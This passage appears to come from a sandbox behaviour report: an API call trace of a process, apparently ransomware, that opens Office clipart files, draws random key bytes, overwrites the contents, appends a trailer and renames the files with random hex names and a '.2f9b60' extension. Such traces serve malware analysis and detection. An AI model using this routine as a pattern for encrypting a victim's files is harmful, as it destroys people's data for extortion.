office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfb4 [0122.697] GetFileSizeEx (in: hFile=0xfb4, lpFileSize=0x1f35f860 | out: lpFileSize=0x1f35f860*=27050) returned 1 [0122.697] SetFilePointerEx (in: hFile=0xfb4, liDistanceToMove=0x69a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.697] ReadFile (in: hFile=0xfb4, lpBuffer=0x1f35f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f35f828, lpOverlapped=0x0 | out: lpBuffer=0x1f35f7e0*, lpNumberOfBytesRead=0x1f35f828*=0x4, lpOverlapped=0x0) returned 1 [0122.721] SetFilePointerEx (in: hFile=0xfb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e590 [0122.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e650 [0122.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e6e0 [0122.722] NtQuerySystemTime (in: CurrentTime=0x1f35f720 | out: CurrentTime=0x1f35f720*=132462177280990000) returned 0x0 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0xfc2f5b7 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x64cc8661 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x30f9e535 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x1db7f47d [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x3838d45a [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x797715b7 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x47685029 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x2dce8cc [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x6150ad05 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x141e1ad9 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0xcfc616b [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x276ac0ce [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x6e920445 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x46a93dd8 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x150ac825 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x76c57637 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x5cff05d1 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x70ed792a [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x309bd86c [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x2f565f5 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x129cc896 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x21a55305 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x6910cef5 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x26908341 [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x2853d55c [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x33d3761b [0122.722] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x2853d55c [0122.723] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0xa1a0cd2 [0122.723] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x4c6e4ca6 [0122.723] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x3cb94448 [0122.723] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x229dc880 [0122.723] RtlRandomEx (in: Seed=0x1f35f710 | out: Seed=0x1f35f710) returned 0x3f474fe8 [0122.763] SetFilePointerEx (in: hFile=0xfb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.763] ReadFile (in: hFile=0xfb4, lpBuffer=0x41ec85a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f35f780, lpOverlapped=0x0 | out: lpBuffer=0x41ec85a0*, lpNumberOfBytesRead=0x1f35f780*=0x3c00, lpOverlapped=0x0) returned 1 [0122.805] SetFilePointerEx (in: hFile=0xfb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0122.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0122.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b10 [0122.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b10) returned 1 [0122.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20171d40 [0122.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b10 [0122.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ae0 [0122.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ae0) returned 1 [0122.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0122.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0122.806] WriteFile (in: hFile=0xfb4, lpBuffer=0x20171d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f35f780, lpOverlapped=0x0 | out: lpBuffer=0x20171d40*, lpNumberOfBytesWritten=0x1f35f780*=0x3c00, lpOverlapped=0x0) returned 1 [0160.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20171d40) returned 1 [0160.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec85a0) returned 1 [0160.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1e20 [0160.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596f0 [0160.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505010 [0160.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1e50 [0160.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1e50) returned 1 [0160.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1e50 [0160.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1e80 [0160.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1eb0 [0160.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1eb0) returned 1 [0160.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505010) returned 1 [0160.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596f0) returned 1 [0160.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce12d70 [0160.808] SetFilePointerEx (in: hFile=0xfb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.808] WriteFile (in: hFile=0xfb4, lpBuffer=0x1ce12d70*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f35f830, lpOverlapped=0x0 | out: lpBuffer=0x1ce12d70*, lpNumberOfBytesWritten=0x1f35f830*=0x10a, lpOverlapped=0x0) returned 1 [0165.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e6b0 [0165.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e6b0) returned 1 [0165.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e6b0 [0165.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e680 [0165.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e680) returned 1 [0165.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.460] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="9e") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="29") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="f3") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="12") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="be") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="14") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="fb") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="d5") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="bb") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="c0") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="a0") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="c4") returned 2 [0165.460] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="04") returned 2 [0165.461] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="e7") returned 2 [0165.461] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="89") returned 2 [0165.461] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="d2") returned 2 [0165.461] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="da") returned 2 [0165.461] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="b0") returned 2 [0165.461] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="08") returned 2 [0165.461] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="04") returned 2 [0165.461] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="0c") returned 2 [0165.461] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="c2") returned 2 [0165.461] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="33") returned 2 [0165.461] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="7d") returned 2 [0165.461] RtlInitAnsiString (in: DestinationString=0x1f35f8a8, SourceString="9e29f312be14fbd5bbc0a0c404e789d2dab008040cc2337d" | out: DestinationString="9e29f312be14fbd5bbc0a0c404e789d2dab008040cc2337d") [0165.461] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f35f878, SourceString="9e29f312be14fbd5bbc0a0c404e789d2dab008040cc2337d", AllocateDestinationString=1 | out: DestinationString="9e29f312be14fbd5bbc0a0c404e789d2dab008040cc2337d") returned 0x0 [0165.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14f80 [0165.461] RtlFreeAnsiString (AnsiString="9") [0165.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e6b0) returned 1 [0165.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12d70) returned 1 [0165.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1e50) returned 1 [0165.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1e80) returned 1 [0165.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1e20) returned 1 [0165.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b10) returned 1 [0165.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e650) returned 1 [0165.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ec80) returned 1 [0165.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ecb0) returned 1 [0165.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c309f0 [0165.464] wcscat (in: _Dest=0x42c309f0, _Source="9e29f312be14" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e29f312be14") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e29f312be14" [0165.464] wcscat (in: _Dest=0x42c309f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e29f312be14.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e29f312be14.2f9b60" [0165.464] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e29f312be14.2f9b60", NtPathName=0x1f35f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e29f312be14.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce23760 Thread: id = 1511 os_tid = 0x19f0 [0120.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0122.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF", dwFileAttributes=0x20) returned 1 [0122.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10e0 [0123.478] GetFileSizeEx (in: hFile=0x10e0, lpFileSize=0x1f5bfb80 | out: lpFileSize=0x1f5bfb80*=6996) returned 1 [0123.478] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x1b50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.478] ReadFile (in: hFile=0x10e0, lpBuffer=0x1f5bfb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f5bfb48, lpOverlapped=0x0 | out: lpBuffer=0x1f5bfb00*, lpNumberOfBytesRead=0x1f5bfb48*=0x4, lpOverlapped=0x0) returned 1 [0123.714] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0123.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d840 [0123.714] NtQuerySystemTime (in: CurrentTime=0x1f5bfa40 | out: CurrentTime=0x1f5bfa40*=132462177290974000) returned 0x0 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x226e8375 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x1a5cf083 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x53cd4e2e [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x1fa844f3 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x354a04f7 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x426d58fc [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x3bec5503 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x3fa9c00e [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x4c2d8c20 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x767016c2 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x675fe342 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x7f063990 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x33db97bc [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x49620585 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x22f520fc [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x7c7691c2 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x4bf23118 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x544a8b18 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x723e640 [0123.714] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x13de6467 [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x46516dd4 [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x33db97bc [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x6107ebf [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x69a55d3c [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x583847bf [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x7f0f04fd [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x599400b9 [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x6bdeb444 [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x226e8375 [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x2cb6d8ce [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x3397f2b5 [0123.715] RtlRandomEx (in: Seed=0x1f5bfa30 | out: Seed=0x1f5bfa30) returned 0x67631b11 [0124.495] ReadFile (in: hFile=0x10e0, lpBuffer=0x41d1f0f0, nNumberOfBytesToRead=0x1b54, lpNumberOfBytesRead=0x1f5bfa30, lpOverlapped=0x0 | out: lpBuffer=0x41d1f0f0*, lpNumberOfBytesRead=0x1f5bfa30*=0x1b54, lpOverlapped=0x0) returned 1 [0124.878] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.878] WriteFile (in: hFile=0x10e0, lpBuffer=0x2017d170*, nNumberOfBytesToWrite=0x1b54, lpNumberOfBytesWritten=0x1f5bfa34, lpOverlapped=0x0 | out: lpBuffer=0x2017d170*, lpNumberOfBytesWritten=0x1f5bfa34*=0x1b54, lpOverlapped=0x0) returned 1 [0124.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0124.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0124.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0124.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2017d170) returned 1 [0124.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1f0f0) returned 1 [0124.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ec0) returned 1 [0124.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0124.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8460 [0124.929] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.929] WriteFile (in: hFile=0x10e0, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f5bfb50, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x1f5bfb50*=0x10a, lpOverlapped=0x0) returned 1 [0124.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0124.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504790 [0124.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb30 [0124.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eb30) returned 1 [0124.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb30 [0124.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb00 [0124.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eb00) returned 1 [0124.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504790) returned 1 [0124.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0124.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.960] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="db") returned 2 [0124.960] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="83") returned 2 [0124.960] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="13") returned 2 [0124.960] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="f0") returned 2 [0124.960] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="12") returned 2 [0124.960] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="e0") returned 2 [0124.960] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="4e") returned 2 [0124.960] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="50") returned 2 [0124.960] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="6b") returned 2 [0124.960] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="9a") returned 2 [0124.960] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="59") returned 2 [0124.960] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="1e") returned 2 [0124.961] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="82") returned 2 [0124.961] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="c6") returned 2 [0124.961] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="41") returned 2 [0124.961] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="d0") returned 2 [0124.961] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="37") returned 2 [0124.961] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="5d") returned 2 [0124.961] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="0f") returned 2 [0124.961] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="31") returned 2 [0124.961] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="60") returned 2 [0124.961] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="f1") returned 2 [0124.961] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="79") returned 2 [0124.961] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="0e") returned 2 [0124.961] RtlInitAnsiString (in: DestinationString=0x1f5bfbc8, SourceString="db8313f012e04e506b9a591e82c641d0375d0f3160f1790e" | out: DestinationString="db8313f012e04e506b9a591e82c641d0375d0f3160f1790e") [0124.961] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f5bfb98, SourceString="db8313f012e04e506b9a591e82c641d0375d0f3160f1790e", AllocateDestinationString=1 | out: DestinationString="db8313f012e04e506b9a591e82c641d0375d0f3160f1790e") returned 0x0 [0124.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8647d0 [0124.961] wcscat (in: _Dest=0x2027a0b0, _Source="db8313f012e0" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db8313f012e0") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db8313f012e0" [0124.962] wcscat (in: _Dest=0x2027a0b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db8313f012e0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db8313f012e0.2f9b60" [0124.962] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db8313f012e0.2f9b60", NtPathName=0x1f5bfb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db8313f012e0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107300 [0125.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0125.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf470f0) returned 1 [0125.034] NtQueryInformationFile (in: FileHandle=0x10e0, 